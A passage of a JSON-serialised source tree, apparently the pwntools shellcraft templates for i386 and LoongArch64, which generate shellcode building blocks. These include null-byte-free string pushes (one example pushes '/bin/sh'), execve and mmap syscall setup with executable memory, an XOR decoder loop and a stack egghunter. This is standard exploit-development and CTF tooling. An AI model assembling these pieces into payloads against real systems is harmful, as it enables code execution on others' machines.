    "content": "<%docstring>\nFunction prologue.\n</%docstring>\n\n    push ebp\n    mov ebp, esp\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/push.asm",
    "content": "<%\n  from pwnlib.util import packing\n  from pwnlib.shellcraft import i386\n  from pwnlib import constants\n  from pwnlib.shellcraft.registers import get_register, is_register, bits_required\n  import re\n%>\n<%page args=\"value\"/>\n<%docstring>\nPushes a value onto the stack without using\nnull bytes or newline characters.\n\nIf src is a string, then we try to evaluate with `context.arch = 'i386'` using\n:func:`pwnlib.constants.eval` before determining how to push it. Note that this\nmeans that this shellcode can change behavior depending on the value of\n`context.os`.\n\nArgs:\n  value (int,str): The value or register to push\n\nExample:\n\n    >>> print(pwnlib.shellcraft.i386.push(0).rstrip())\n        /* push 0 */\n        push 1\n        dec byte ptr [esp]\n    >>> print(pwnlib.shellcraft.i386.push(1).rstrip())\n        /* push 1 */\n        push 1\n    >>> print(pwnlib.shellcraft.i386.push(256).rstrip())\n        /* push 0x100 */\n        push 0x1010201\n        xor dword ptr [esp], 0x1010301\n    >>> print(pwnlib.shellcraft.i386.push('SYS_execve').rstrip())\n        /* push SYS_execve (0xb) */\n        push 0xb\n    >>> print(pwnlib.shellcraft.i386.push('SYS_sendfile').rstrip())\n        /* push SYS_sendfile (0xbb) */\n        push 0x1010101\n        xor dword ptr [esp], 0x10101ba\n    >>> with context.local(os = 'freebsd'):\n    ...     print(pwnlib.shellcraft.i386.push('SYS_execve').rstrip())\n        /* push SYS_execve (0x3b) */\n        push 0x3b\n</%docstring>\n\n<%\nvalue_orig = value\nis_reg = get_register(value)\n\nif not is_reg and isinstance(value, (str, str)):\n    try:\n        value = constants.eval(value)\n    except (ValueError, AttributeError):\n        pass\n%>\n\n% if is_reg:\n    push ${value}\n% else:\n    ${i386.pushstr(value, False)}\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/pushstr.asm",
    "content": "<%\n    from pwnlib.util import lists, packing, fiddling\n    from pwnlib.shellcraft import pretty, okay\n%>\n<%page args=\"string, append_null = True\"/>\n<%docstring>\nPushes a string onto the stack without using\nnull bytes or newline characters.\n\nExample:\n\n    >>> print(shellcraft.i386.pushstr('').rstrip())\n        /* push '\\x00' */\n        push 1\n        dec byte ptr [esp]\n    >>> print(shellcraft.i386.pushstr('a').rstrip())\n        /* push 'a\\x00' */\n        push 0x61\n    >>> print(shellcraft.i386.pushstr('aa').rstrip())\n        /* push 'aa\\x00' */\n        push 0x1010101\n        xor dword ptr [esp], 0x1016060\n    >>> print(shellcraft.i386.pushstr('aaa').rstrip())\n        /* push 'aaa\\x00' */\n        push 0x1010101\n        xor dword ptr [esp], 0x1606060\n    >>> print(shellcraft.i386.pushstr('aaaa').rstrip())\n        /* push 'aaaa\\x00' */\n        push 1\n        dec byte ptr [esp]\n        push 0x61616161\n    >>> print(shellcraft.i386.pushstr('aaaaa').rstrip())\n        /* push 'aaaaa\\x00' */\n        push 0x61\n        push 0x61616161\n    >>> print(shellcraft.i386.pushstr('aaaa', append_null = False).rstrip())\n        /* push 'aaaa' */\n        push 0x61616161\n    >>> print(shellcraft.i386.pushstr(b'\\xc3').rstrip())\n        /* push b'\\xc3\\x00' */\n        push 0x1010101\n        xor dword ptr [esp], 0x10101c2\n    >>> print(shellcraft.i386.pushstr(b'\\xc3', append_null = False).rstrip())\n        /* push b'\\xc3' */\n        push -0x3d\n    >>> with context.local():\n    ...    context.arch = 'i386'\n    ...    print(enhex(asm(shellcraft.pushstr(\"/bin/sh\"))))\n    68010101018134242e726901682f62696e\n    >>> with context.local():\n    ...    context.arch = 'i386'\n    ...    print(enhex(asm(shellcraft.pushstr(\"\"))))\n    6a01fe0c24\n    >>> with context.local():\n    ...    context.arch = 'i386'\n    ...    print(enhex(asm(shellcraft.pushstr(\"\\x00\", False))))\n    6a01fe0c24\n\nArgs:\n  string (str): The string to push.\n  append_null (bool): Whether to append a single NULL-byte before pushing.\n</%docstring>\n<%\noriginal = string\nif isinstance(string, str):\n    string = packing._need_bytes(string, 2, 0x80)\nelse:\n    string = packing.flat(string)\n\nif append_null:\n    string += b'\\x00'\n    if isinstance(original, bytes):\n        original += b'\\x00'\n    elif isinstance(original, str):\n        original += '\\x00'\n\nif not string:\n    return\n\nif string[-1] >= 128:\n    extend = b'\\xff'\nelse:\n    extend = b'\\x00'\n%>\\\n    /* push ${pretty(original, False)} */\n% for word in lists.group(4, string, 'fill', extend)[::-1]:\n<%\n    sign = packing.u32(word, endian='little', sign='signed')\n%>\\\n% if sign in [0, 0xa]:\n    push ${pretty(sign + 1)}\n    dec byte ptr [esp]\n% elif -0x80 <= sign <= 0x7f and okay(word[:1]):\n    push ${pretty(sign)}\n% elif okay(word):\n    push ${pretty(sign)}\n% else:\n<%\n    a,b = fiddling.xor_pair(word, avoid = b'\\x00\\n')\n    a   = packing.u32(a, endian='little', sign='unsigned')\n    b   = packing.u32(b, endian='little', sign='unsigned')\n%>\\\n    push ${pretty(a)}\n    xor dword ptr [esp], ${pretty(b)}\n% endif\n% endfor\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/pushstr_array.asm",
    "content": "<% from pwnlib.shellcraft import i386, pretty %>\n<%docstring>\nPushes an array/envp-style array of pointers onto the stack.\n\nArguments:\n    reg(str):\n        Destination register to hold the pointer.\n    array(str,list):\n        Single argument or list of arguments to push.\n        NULL termination is normalized so that each argument\n        ends with exactly one NULL byte.\n</%docstring>\n<%page args=\"reg, array\"/>\n<%\nif isinstance(array, (str)):\n    array = [array]\n\narray_str = ''\n\n# Normalize all of the arguments' endings\narray      = [arg.rstrip('\\x00') + '\\x00' for arg in array]\narray_str  = ''.join(array)\n\nword_size = 4\noffset = len(array_str) + word_size\n\n%>\\\n    /* push argument array ${pretty(array, False)} */\n    ${i386.pushstr(array_str)}\n    ${i386.mov(reg, 0)}\n    push ${reg} /* null terminate */\n% for i,arg in enumerate(reversed(array)):\n    ${i386.mov(reg, offset + word_size*i - len(arg))}\n    add ${reg}, esp\n    push ${reg} /* ${pretty(arg, False)} */\n    <% offset -= len(arg) %>\\\n% endfor\n    ${i386.mov(reg,'esp')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/ret.asm",
    "content": "<% from pwnlib.shellcraft import i386 %>\n<%docstring>A single-byte RET instruction.\n\nArgs:\n    return_value: Value to return\n</%docstring>\n<%page args=\"return_value = None\"/>\n\n% if return_value is not None:\n    ${i386.mov('eax', return_value)}\n% endif\n\n    ret\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/setregs.asm",
    "content": "<%\n  from pwnlib.regsort import regsort\n  from pwnlib.constants import Constant, eval\n  from pwnlib.shellcraft import registers\n  from pwnlib.shellcraft.i386 import mov\n%>\n<%page args=\"reg_context, stack_allowed = True\"/>\n<%docstring>\nSets multiple registers, taking any register dependencies into account\n(i.e., given eax=1,ebx=eax, set ebx first).\n\nArgs:\n    reg_context (dict): Desired register context\n    stack_allowed (bool): Can the stack be used?\n\nExample:\n\n    >>> print(shellcraft.setregs({'eax':1, 'ebx':'eax'}).rstrip())\n        mov ebx, eax\n        push 1\n        pop eax\n    >>> print(shellcraft.setregs({'eax':'ebx', 'ebx':'eax', 'ecx':'ebx'}).rstrip())\n        mov ecx, ebx\n        xchg eax, ebx\n\n\n</%docstring>\n<%\nreg_context = {k:v for k,v in reg_context.items() if v is not None}\n\neax = reg_context.get('eax', None)\nedx = reg_context.get('edx', None)\ncdq = False\n\nif isinstance(eax, str):\n    try:\n        eax = eval(eax)\n    except NameError:\n        pass\n\nif isinstance(edx, str):\n    try:\n        edx = eval(edx)\n    except NameError:\n        pass\n\nif isinstance(eax, int) and isinstance(edx, int) and eax >> 31 == edx:\n    cdq = True\n    reg_context.pop('edx')\n\nsorted_regs = regsort(reg_context, registers.i386)\n%>\n% if not sorted_regs:\n  /* setregs noop */\n% else:\n% for how, src, dst in regsort(reg_context, registers.i386, registers.native32):\n% if how == 'xchg':\n    xchg ${src}, ${dst}\n% else:\n    ${mov(src, dst)}\n% endif\n% endfor\n% if cdq:\n    cdq /* edx=0 */\n% endif\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/stackarg.asm",
    "content": "<%page args=\"index, register\"/>\n<%docstring>\nLoads a stack-based argument into a register.\n\nAssumes that the 'prolog' code was used to save EBP.\n\nArguments:\n    index(int):\n        Zero-based argument index.\n    register(str):\n        Register name.\n</%docstring>\n    mov ${register}, [ebp+${4*(index+2)}]\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/stackhunter.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<%page args=\"cookie = 0xe4fffc75\"/>\n<%docstring>\n    stackhunter(cookie = 0xe4fffc75)\n\n    Returns an an egghunter, which searches from esp and upwards\n    for a cookie. However to save bytes, it only looks at a single\n    4-byte alignment. Use the function stackhunter_helper to\n    generate a suitable cookie prefix for you.\n\n    The default cookie has been chosen, because it makes it possible\n    to shave two bytes, but other cookies can be used too.\n\nExample:\n\n    >>> with context.local(arch='i386'):\n    ...    print(enhex(asm(shellcraft.stackhunter())))\n    583d75fcffe4ebfa\n    >>> with context.local(arch='i386'):\n    ...    print(enhex(asm(shellcraft.stackhunter(0x7afceb58))))\n    3d58ebfc7a75faffe4\n    >>> with context.local(arch='i386'):\n    ...    print(enhex(asm(shellcraft.stackhunter(0xdeadbeef))))\n    583defbeadde75f8ffe4\n</%docstring>\n<% stackhunter = common.label(\"stackhunter\") %>\n${stackhunter}:\n%if (cookie & 0xffffff) == 0xfceb58:\n    cmp eax, ${'%#x' % cookie}\n    jne ${stackhunter}+1\n    jmp esp\n%else:\n    pop eax\n    cmp eax, ${'%#x' % cookie}\n%if cookie == 0xe4fffc75:\n    jmp ${stackhunter}+2\n%else:\n    jne ${stackhunter}\n    jmp esp\n%endif\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/stackhunter_helper.asm",
    "content": "<%page args=\"cookie = 0xe4fffc75\"/>\n<%docstring>\n    stackhunter_helper(cookie = 0xe4fffc75)\n\n    The helper for the stackhunter, which prepends the cookie\n    at different alignments.\n\nExample:\n\n    >>> with context.local(arch='i386'):\n    ...    print(enhex(asm(shellcraft.stackhunter_helper())))\n    75fcffe43d75fcffe43d75fcffe43d75fcffe4\n</%docstring>\n    .int ${'%#x' % cookie}\n    cmp eax, ${'%#x' % cookie}\n    cmp eax, ${'%#x' % cookie}\n    cmp eax, ${'%#x' % cookie}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/strcpy.asm",
    "content": "<%\nfrom pwnlib.shellcraft import pretty, common, registers\nfrom pwnlib.shellcraft.i386 import mov, pushstr, setregs, strlen\nfrom pwnlib import constants\n%>\n<%docstring>\nCopies a string\n\nExample:\n\n    >>> sc  = 'jmp get_str\\n'\n    >>> sc += 'pop_str: pop eax\\n'\n    >>> sc += shellcraft.i386.strcpy('esp', 'eax')\n    >>> sc += shellcraft.i386.linux.write(1, 'esp', 32)\n    >>> sc += shellcraft.i386.linux.exit(0)\n    >>> sc += 'get_str: call pop_str\\n'\n    >>> sc += '.asciz \"Hello, world\\\\n\"'\n    >>> run_assembly(sc).recvline()\n    b'Hello, world\\n'\n</%docstring>\n<%page args=\"dst, src\"/>\n    ${setregs({'esi': src,\n               'edi': dst})}\n    push edi\n    ${strlen('esi')}\n    pop  edi\n    inc  ecx\n    rep  movs BYTE PTR [edi], BYTE PTR [esi]\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/strlen.asm",
    "content": "<%\nfrom pwnlib.shellcraft import pretty, common, registers\nfrom pwnlib.shellcraft.i386 import mov, pushstr, setregs\nfrom pwnlib import constants\n%>\n<%docstring>\nCalculate the length of the specified string.\n\nArguments:\n    string(str): Register or address with the string\n    reg(str): Named register to return the value in,\n                   ecx is the default.\n\nExample:\n\n    >>> sc  = 'jmp get_str\\n'\n    >>> sc += 'pop_str: pop eax\\n'\n    >>> sc += shellcraft.i386.strlen('eax')\n    >>> sc += 'push ecx;'\n    >>> sc += shellcraft.i386.linux.write(1, 'esp', 4)\n    >>> sc += shellcraft.i386.linux.exit(0)\n    >>> sc += 'get_str: call pop_str\\n'\n    >>> sc += '.asciz \"Hello, world\\\\n\"'\n    >>> run_assembly(sc).unpack() == len('Hello, world\\n')\n    True\n</%docstring>\n<%page args=\"string, reg='ecx'\"/>\n    ${setregs({'ecx': -1,\n               'edi': string,\n               'eax': 0})}\n    repnz scas al, BYTE PTR [edi]\n    inc ecx\n    inc ecx\n    neg ecx\n    ${mov(reg, 'ecx')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/trap.asm",
    "content": "<%docstring>A trap instruction.</%docstring>\n    int3\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/i386/xor.asm",
    "content": "<%\n  from pwnlib.shellcraft import pretty, common, i386, registers\n  from pwnlib.util.packing import pack, unpack\n  from pwnlib.context import context as ctx\n  from pwnlib.log import getLogger\n%>\n<%page args=\"key, address, count\"/>\n<%docstring>\nXORs data a constant value.\n\nArgs:\n    key (int,str): XOR key either as a 4-byte integer,\n                   If a string, length must be a power of two,\n                   and not longer than 4 bytes.\n                   Alternately, may be a register.\n    address (int): Address of the data (e.g. 0xdead0000, 'esp')\n    count (int): Number of bytes to XOR, or a register containing\n                 the number of bytes to XOR.\n\nExample:\n\n    >>> sc  = shellcraft.read(0, 'esp', 32)\n    >>> sc += shellcraft.xor(0xdeadbeef, 'esp', 32)\n    >>> sc += shellcraft.write(1, 'esp', 32)\n    >>> io = run_assembly(sc)\n    >>> io.send(cyclic(32))\n    >>> result = io.recvn(32)\n    >>> expected = xor(cyclic(32), p32(0xdeadbeef))\n    >>> result == expected\n    True\n\n</%docstring>\n<%\nlog = getLogger('pwnlib.shellcraft.templates.i386.xor')\n\n# By default, assume the key is a register\nkey_size   = ctx.bytes\nkey_pretty = key\n\nkey_register = registers.get_register(key)\n\nif key_register:\n    assert key_register.bytes == ctx.bytes\nelse:\n    key_str = key\n    key_int = key\n\n    if isinstance(key, int):\n        key_str = pack(key, bytes=4)\n    else:\n        key_int = unpack(key, 'all')\n\n    if len(key_str) > ctx.bytes:\n        log.error(\"Key %s is too large (max %i bytes)\" % (pretty(key), ctx.bytes))\n\n    if len(key_str) not in (1,2,4):\n        log.error(\"Key length must be a power of two (got %s)\" % pretty(key))\n\n    key_size = len(key_str)\n    key_pretty = pretty(key_int)\n\nif count == 0 or key_size == 0:\n    return '/* noop xor */'\n\nstart = common.label('start')\n\n## Determine the move size\nword_name = {1:'BYTE', 2:'WORD', 4:'DWORD', 8:'QWORD'}[key_size]\n\n## Set up the register context\nregctx = {'eax': count, 'ecx': address}\nif key_register and key_register.name in regctx:\n    regctx['ebx'] = key\n    key_pretty = 'ebx'\n%>\n    /* xor(${pretty(key)}, ${pretty(address)}, ${pretty(count)}) */\n    ${i386.setregs(regctx)}\n    add eax, ecx\n${start}:\n    xor ${word_name} PTR [ecx], ${key_pretty}\n    add ecx, ${key_size}\n    cmp ecx, eax\n    jb  ${start}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/loongarch64/__doc__",
    "content": "Shellcraft module containing generic LoongArch64 shellcodes.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/loongarch64/linux/__doc__",
    "content": "Shellcraft module containing LoongArch64 shellcodes for Linux.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/loongarch64/linux/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import loongarch64, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import linux_loongarch64_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4=None, arg5=None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n        >>> print(pwnlib.shellcraft.loongarch64.linux.syscall('SYS_execve', 1, 'sp', 2, 0).rstrip())\n            addi.d   $a0, $r0, 1\n            addi.d   $a1, $sp, 0\n            addi.d   $a2, $r0, 2\n            addi.d   $a3, $r0, 0\n            addi.d   $a7, $r0, 221\n            syscall  0\n        >>> print(pwnlib.shellcraft.loongarch64.linux.syscall('SYS_execve', 2, 1, 0, 20).rstrip())\n            addi.d   $a0, $r0, 2\n            addi.d   $a1, $r0, 1\n            addi.d   $a2, $r0, 0\n            addi.d   $a3, $r0, 20\n            addi.d   $a7, $r0, 221\n            syscall  0\n        >>> print(pwnlib.shellcraft.loongarch64.linux.syscall().rstrip())\n            syscall  0\n        >>> print(pwnlib.shellcraft.loongarch64.linux.syscall('a7', 'a0', 'a1').rstrip())\n            syscall  0\n        >>> print(pwnlib.shellcraft.loongarch64.linux.syscall('a3', None, None, 1).rstrip())\n            addi.d   $a2, $r0, 1\n            addi.d   $a7, $a3, 0\n            syscall  0\n        >>> print(pwnlib.shellcraft.loongarch64.linux.syscall(\n        ...               'SYS_mmap', 0, 0x1000,\n        ...               'PROT_READ | PROT_WRITE | PROT_EXEC',\n        ...               'MAP_PRIVATE',\n        ...               -1, 0).rstrip())\n            addi.d   $a0, $r0, 0\n            addi.d   $a1, $r0, 1\n            lu52i.d  $a1, $a1, 0\n            addi.d   $a2, $r0, 7\n            addi.d   $a3, $r0, 2\n            addi.d   $a4, $r0, 15\n            lu52i.d  $a4, $a4, -1\n            lu52i.d  $a4, $a4, -1\n            lu52i.d  $a4, $a4, -1\n            lu52i.d  $a4, $a4, -1\n            lu52i.d  $a4, $a4, -1\n            addi.d   $a5, $r0, 0\n            addi.d   $a7, $r0, 222\n            syscall  0\n        >>> print(pwnlib.shellcraft.loongarch64.linux.syscall(\n        ...               'SYS_mmap', 0, 0x1000,\n        ...               'PROT_READ | PROT_WRITE | PROT_EXEC',\n        ...               'MAP_PRIVATE',\n        ...               -1, 0).rstrip())\n            addi.d   $a0, $r0, 0\n            addi.d   $a1, $r0, 1\n            lu52i.d  $a1, $a1, 0\n            addi.d   $a2, $r0, 7\n            addi.d   $a3, $r0, 2\n            addi.d   $a4, $r0, 15\n            lu52i.d  $a4, $a4, -1\n            lu52i.d  $a4, $a4, -1\n            lu52i.d  $a4, $a4, -1\n            lu52i.d  $a4, $a4, -1\n            lu52i.d  $a4, $a4, -1\n            addi.d   $a5, $r0, 0\n            addi.d   $a7, $r0, 222\n            syscall  0\n        >>> print(pwnlib.shellcraft.loongarch64.openat('AT_FDCWD', '/home/pwn/flag').rstrip())\n            /* openat(fd='AT_FDCWD', file='/home/pwn/flag', oflag=0) */\n            addi.d   $t8, $r0, 7\n            lu52i.d  $t8, $t8, 1904\n            lu52i.d  $t8, $t8, 758\n            lu52i.d  $t8, $t8, 1389\n            lu52i.d  $t8, $t8, 1782\n            lu52i.d  $t8, $t8, -2001\n            addi.d   $sp, $sp, -8\n            st.d     $t8, $sp, 0\n            addi.d   $t8, $r0, 1654\n            lu52i.d  $t8, $t8, 364\n            lu52i.d  $t8, $t8, 1634\n            lu52i.d  $t8, $t8, -146\n            addi.d   $sp, $sp, -8\n            st.d     $t8, $sp, 0\n            addi.d   $a1, $sp, 0\n            addi.d   $a0, $r0, 15\n            lu52i.d  $a0, $a0, -1\n            lu52i.d  $a0, $a0, -1\n            lu52i.d  $a0, $a0, -1\n            lu52i.d  $a0, $a0, -1\n            lu52i.d  $a0, $a0, -100\n            addi.d   $a2, $r0, 0\n            addi.d   $a7, $r0, 56\n            syscall  0\n</%docstring>\n<%\n  registers = abi.register_arguments\n  arguments = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  regctx    = dict(zip(registers, arguments))\n%>\\\n%if any(a is not None for a in arguments):\n${loongarch64.setregs(regctx)}\n%endif\n    syscall  0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/loongarch64/mov.asm",
    "content": "<%\n  from pwnlib.util import lists, packing, fiddling, misc\n  from pwnlib.constants import eval, Constant\n  from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context\n  from pwnlib.log import getLogger\n  from pwnlib.shellcraft import loongarch64, registers, pretty, okay\n  log = getLogger('pwnlib.shellcraft.loongarch64.mov')\n%>\n<%page args=\"dst, src\"/>\n<%docstring>\nMove src into dst.\n\nIf src is a string that is not a register, then it will locally set\n`context.arch` to `'loongarch64'` and use :func:`pwnlib.constants.eval` to evaluate the\nstring. Note that this means that this shellcode can change behavior depending\non the value of `context.os`.\n\nThere is no effort done to avoid newlines and null bytes in the generated code.\n\nArgs:\n\n  dst (str): The destination register.\n  src (str): Either the input register, or an immediate value.\n\nExample:\n\n    >>> print(shellcraft.loongarch64.mov('t0', 0).rstrip())\n        addi.d   $t0, $r0, 0\n    >>> print(shellcraft.loongarch64.mov('t0', 0x2000).rstrip())\n        addi.d   $t0, $r0, 2\n        lu52i.d  $t0, $t0, 0\n    >>> print(shellcraft.loongarch64.mov('t0', 0xcafebabe).rstrip())\n        addi.d   $t0, $r0, 202\n        lu52i.d  $t0, $t0, -21\n        lu52i.d  $t0, $t0, -1346\n    >>> print(shellcraft.loongarch64.mov('t1', 'sp').rstrip())\n        addi.d   $t1, $sp, 0\n\n</%docstring>\n<%\nif not isinstance(dst, str) or dst not in registers.loongarch64:\n    log.error(\"Unknown register %r\", dst)\n    return\n\nif isinstance(src, str) and src not in registers.loongarch64:\n    src = eval(src)\n\nif isinstance(src, str) and src not in registers.loongarch64:\n    log.error(\"Unknown register %r\", src)\n    return\n\nsrc_reg = registers.loongarch64.get(src, None)\ndst_reg = registers.loongarch64[dst]\n\n# If source register is zero, treat it as immediate 0\nif src_reg == 0:\n    src = 0\n    src_reg = None\n%>\n\n% if dst_reg == 0 or dst_reg == src_reg:\n    /* ld ${dst}, ${src} is a noop */\n% elif src_reg is not None:\n    addi.d   $${dst}, $${src}, 0\n% else:\n## Source is an immediate, normalize to [0, 2**64)\n\n<% src = packing.unpack(packing.pack(src, word_size=64), word_size=64, sign=False) %>\n## Immediates are always sign-extended to 64-bit\n\n% if src == 0:\n    addi.d   $${dst}, $r0, 0\n% else:\n<%\nparts = []\nfullsrc = src\nwhile src != 0:\n    parts.append(packing.unpack(packing.pack((src & 0xfff), word_size=12, sign=False), word_size=12, sign=True))\n    src = src >> 12\n%>\n% for idx, part in enumerate(reversed(parts)):\n    % if idx == 0:\n    addi.d   $${dst}, $r0, ${part}\n    % else:\n    lu52i.d  $${dst}, $${dst}, ${part}\n    % endif\n% endfor\n% endif\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/loongarch64/nop.asm",
    "content": "<%docstring>LoongArch64 nop instruction.</%docstring>\n    addi.d   $r0, $r0, 0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/loongarch64/push.asm",
    "content": "<%\n  from pwnlib.shellcraft import loongarch64\n  from pwnlib import constants\n  from pwnlib.shellcraft import registers\n%>\n<%page args=\"value\"/>\n<%docstring>\nPushes a value onto the stack.\n\nRegister t8 is not guaranteed to be preserved.\n</%docstring>\n<%\nis_reg = value in registers.loongarch64\n\nif not is_reg and isinstance(value, (bytes, str)):\n    try:\n        value = constants.eval(value)\n    except (ValueError, AttributeError):\n        pass\n%>\n% if not is_reg:\n    ${loongarch64.mov('t8', value)}\n    <% value = 't8' %>\\\n%endif\n    addi.d   $sp, $sp, -8\n    st.d     $${value}, $sp, 0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/loongarch64/pushstr.asm",
    "content": "<%\n    from pwnlib.util import lists, packing, fiddling\n    from pwnlib.shellcraft import loongarch64, pretty\n%>\\\n<%page args=\"string, append_null = True\"/>\n<%docstring>\nPushes a string onto the stack.\n\nThere is no effort done to avoid newlines and null bytes in the generated code.\n\nRegister t8 is not guaranteed to be preserved.\n\nExample:\n\n    >>> print(shellcraft.loongarch64.pushstr('').rstrip())\n        st.d     $r0, -8(sp)\n    >>> print(shellcraft.loongarch64.pushstr('a').rstrip())\n        addi.d   $t8, $r0, 97\n        addi.d   $sp, $sp, -8\n        st.d     $t8, $sp, 0\n    >>> print(shellcraft.loongarch64.pushstr('aa').rstrip())\n        addi.d   $t8, $r0, 6\n        lu52i.d  $t8, $t8, 353\n        addi.d   $sp, $sp, -8\n        st.d     $t8, $sp, 0\n    >>> print(shellcraft.loongarch64.pushstr('aaaa').rstrip())\n        addi.d   $t8, $r0, 97\n        lu52i.d  $t8, $t8, 1558\n        lu52i.d  $t8, $t8, 353\n        addi.d   $sp, $sp, -8\n        st.d     $t8, $sp, 0\n    >>> print(shellcraft.loongarch64.pushstr('aaaaa').rstrip())\n        addi.d   $t8, $r0, 6\n        lu52i.d  $t8, $t8, 353\n        lu52i.d  $t8, $t8, 1558\n        lu52i.d  $t8, $t8, 353\n        addi.d   $sp, $sp, -8\n        st.d     $t8, $sp, 0\n    >>> print(shellcraft.loongarch64.pushstr('aaaa', append_null = False).rstrip())\n        addi.d   $t8, $r0, 97\n        lu52i.d  $t8, $t8, 1558\n        lu52i.d  $t8, $t8, 353\n        addi.d   $sp, $sp, -8\n        st.d     $t8, $sp, 0\n    >>> print(shellcraft.loongarch64.pushstr(b'\\xc3').rstrip())\n        addi.d   $t8, $r0, 195\n        addi.d   $sp, $sp, -8\n        st.d     $t8, $sp, 0\n    >>> print(shellcraft.loongarch64.pushstr(b'\\xc3', append_null = False).rstrip())\n        addi.d   $t8, $r0, 195\n        addi.d   $sp, $sp, -8\n        st.d     $t8, $sp, 0\n\nArgs:\n  string (str): The string to push.\n  append_null (bool): Whether to append a single NULL-byte before pushing.\n</%docstring>\n<%\n    if isinstance(string, str):\n        string = string.encode('utf-8')\n    if append_null:\n        string += b'\\x00'\n    if not string:\n        return\n\n    split_string = lists.group(8, string, 'fill', b'\\x00')\n    stack_offset = len(split_string) * -8\n%>\\\n% for index, word in enumerate(split_string):\n% if word == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00':\n    st.d     $r0, ${stack_offset+(8 * index)}(sp)\n<%\n    continue\n%>\\\n% endif\n<%\n    word = packing.u64(word, sign=True)\n%>\\\n    ${loongarch64.push(word)}\n% endfor\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/loongarch64/pushstr_array.asm",
    "content": "<% from pwnlib.shellcraft import loongarch64, pretty %>\n<%docstring>\nPushes an array/envp-style array of pointers onto the stack.\n\nArguments:\n    reg(str):\n        Destination register to hold the pointer.\n    array(str,list):\n        Single argument or list of arguments to push.\n        NULL termination is normalized so that each argument\n        ends with exactly one NULL byte.\n</%docstring>\n<%page args=\"reg, array\"/>\n<%\nif isinstance(array, (str)):\n    array = [array]\n\narray_str = ''\n\n# Normalize all of the arguments' endings\narray      = [arg.rstrip('\\x00') + '\\x00' for arg in array]\narray_str  = ''.join(array)\n\nword_size = 8\noffset = len(array_str) + word_size\n\n%>\\\n    ${loongarch64.pushstr(array_str)}\n    ${loongarch64.mov(reg, 0)}\n    ${loongarch64.push(reg)}\n% for i,arg in enumerate(reversed(array)):\n    ${loongarch64.mov(reg, offset + word_size*i - len(arg))}\n    addi.d   $${reg}, $sp, $${reg}\n    ${loongarch64.push(reg)}\n    <% offset -= len(arg) %>\\\n% endfor\n    ${loongarch64.mov(reg,'sp')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/loongarch64/setregs.asm",
    "content": "<%\n  from pwnlib.regsort import regsort\n  from pwnlib.constants import Constant, eval\n  from pwnlib.shellcraft import registers\n  from pwnlib.shellcraft import loongarch64\n%>\n<%page args=\"reg_context, stack_allowed = True\"/>\n<%docstring>\nSets multiple registers, taking any register dependencies into account\n(i.e., given eax=1,ebx=eax, set ebx first).\n\nArgs:\n    reg_context (dict): Desired register context\n    stack_allowed (bool): Can the stack be used?\n\nExample:\n\n    >>> print(shellcraft.setregs({'t0':1, 'a3':'0'}).rstrip())\n        addi.d   $a3, $r0, 0\n        addi.d   $t0, $r0, 1\n    >>> print(shellcraft.setregs({'a0':'a1', 'a1':'a0', 'a2':'a1'}).rstrip())\n        addi.d   $a2, $a1, 0\n        xor      $a1, $a1, $a0 /* xchg a1, a0 */\n        xor      $a0, $a0, $a1\n        xor      $a1, $a1, $a0\n</%docstring>\n<%\nreg_context = {k:v for k,v in reg_context.items() if v is not None}\nsorted_regs = regsort(reg_context, registers.loongarch64)\n%>\n% if sorted_regs:\n% for how, src, dst in regsort(reg_context, registers.loongarch64):\n% if how == 'xchg':\n    ${loongarch64.xor(dst, dst, src)} /* xchg ${dst}, ${src} */\n    ${loongarch64.xor(src, src, dst)}\n    ${loongarch64.xor(dst, dst, src)}\n% else:\n    ${loongarch64.mov(src, dst)}\n% endif\n% endfor\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/loongarch64/trap.asm",
    "content": "<%docstring>A trap instruction.</%docstring>\n    break    0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/loongarch64/xor.asm",
    "content": "<%\n  from pwnlib.shellcraft import loongarch64\n  from pwnlib.shellcraft import registers\n%>\n<%page args=\"dst,rs1,rs2\"/>\n<%docstring>\nXOR two registers rs1 and rs2, store result in register dst.\n\nRegister t4 is not guaranteed to be preserved.\n</%docstring>\n<%\nif not isinstance(dst, str) or dst not in registers.loongarch64:\n    log.error(\"Unknown register %r\", dst)\n    return\nif not isinstance(rs1, str) or rs1 not in registers.loongarch64:\n    log.error(\"Unknown register %r\", rs1)\n    return\nif not isinstance(rs2, str) or rs2 not in registers.loongarch64:\n    log.error(\"Unknown register %r\", rs2)\n    return\n\n%>\n    xor      $${dst}, $${rs1}, $${rs2}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/__doc__",
    "content": "Shellcraft module containing generic MIPS shellcodes.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/mips/freebsd/__doc__",
